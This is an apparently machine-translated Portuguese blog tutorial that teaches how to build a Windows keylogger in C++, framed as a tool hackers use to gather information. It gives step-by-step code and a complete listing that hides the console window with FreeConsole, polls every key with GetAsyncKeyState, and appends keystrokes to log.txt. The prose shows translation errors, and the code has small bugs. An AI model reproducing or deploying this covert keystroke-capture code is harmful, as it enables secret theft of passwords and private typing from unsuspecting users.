Olá amigos, tudo bem? Então hoje eu vou mostrar-lhe como fazer o Keylogger em C ++ , então vamos começar, se você não sabe o que os keyloggers estão aqui, é uma pequena introdução para eles e por que eles são importantes para hackers para coletar informações.

O que são Keyloggers?

Keyloggers, como as palavras se explicam, é um programa que estará gravando / logando todos os traços de teclas. Um keylogger é um software que é usado para capturar traços de teclas que estão sendo digitados pelo usuário em tempo real. E mais keyloggers avançados também vêm com muitas funcionalidades diferentes.

Como eles podem enviar os toques de teclas capturados para você por e-mail e eles também podem capturar shorts de tela, imagens de web cam e outros recursos também estão presentes em keyloggers mais avançados.

Existem muitos keyloggers disponíveis no mercado, alguns são pagos e alguns são gratuitos.

Vamos começar a codificar:

Antes de tudo, você precisa de um compilador instalado no seu computador, você pode usar o Visual Studio, o Dev C ++, o Eclipse, etc., quem quiser e se sentir confortável ao usá-lo.

Etapa 1: Incluindo arquivos de cabeçalho para obter funções padrão.

 #include <iostream> #include <Windows.h> using namespace std; //used to avoid the compilation errors because of redefinition of variables. using namespace std; //used to avoid the compilation errors because of redefinition of variables.

No momento, precisamos apenas desses arquivos de cabeçalho e eles são essenciais.

Passo 2: Declarando chamadas globais.

int Save(int _key, char *file);

Passo 3: Código principal.

int main() {  FreeConsole();  char i;  while (true) {  Sleep(10);  for (i = 8; i <= 255; i++) {  if (GetAsyncKeyState(i) == -32767) {  Save(i, "log.txt");  }  }  }  return 0; }

Passo 4: Armazenamento de golpes de chave capturados.

int Save(int _key, char *file) {   cout << _key << endl;   Sleep(10);   FILE *OUTPUT_FILE;   OUTPUT_FILE = fopen(file, "a+");   if (_key == VK_SHIFT)     fprintf(OUTPUT_FILE, "%s", "[SHIFT]");   else if (_key == VK_BACK)     fprintf(OUTPUT_FILE, "%s", "[BACK]");   else if (_key == VK_LBUTTON)     fprintf(OUTPUT_FILE, "%s", "[LBUTTON]");   else if (_key == VK_RETURN)     fprintf(OUTPUT_FILE, "%s", "[RETURN]");   else if (_key == VK_ESCAPE)     fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");   else     fprintf(OUTPUT_FILE, "%s", &_key);   fclose(OUTPUT_FILE);   return 0; }

Código completo Para o Keylogger: –

#include <iostream> #include <Windows.h> using namespace std; int Save(int _key, char *file); int main() {  FreeConsole(); char i; while (true) {  Sleep(10);  for (i = 8; i <= 255; i++) {  if (GetAsyncKeyState(i) == -32767) {  Save(i, "log.txt");  }  }  }  return 0; } int Save(int _key, char *file) { cout << _key << endl; Sleep(10); FILE *OUTPUT_FILE; OUTPUT_FILE = fopen(file, "a+"); if (_key == VK_SHIFT)  fprintf(OUTPUT_FILE, "%s", "[SHIFT]");  else if (_key == VK_BACK)  fprintf(OUTPUT_FILE, "%s", "[BACK]");  else if (_key == VK_LBUTTON)  fprintf(OUTPUT_FILE, "%s", "[LBUTTON]");  else if (_key == VK_RETURN)  fprintf(OUTPUT_FILE, "%s", "[RETURN]");  else if (_key == VK_ESCAPE)  fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");  else  fprintf(OUTPUT_FILE, "%s", &_key); fclose(OUTPUT_FILE); return 0; }

Obrigado pela leitura e espero que você tenha gostado, então, se você tiver alguma dúvida, avise-nos.

Anúncios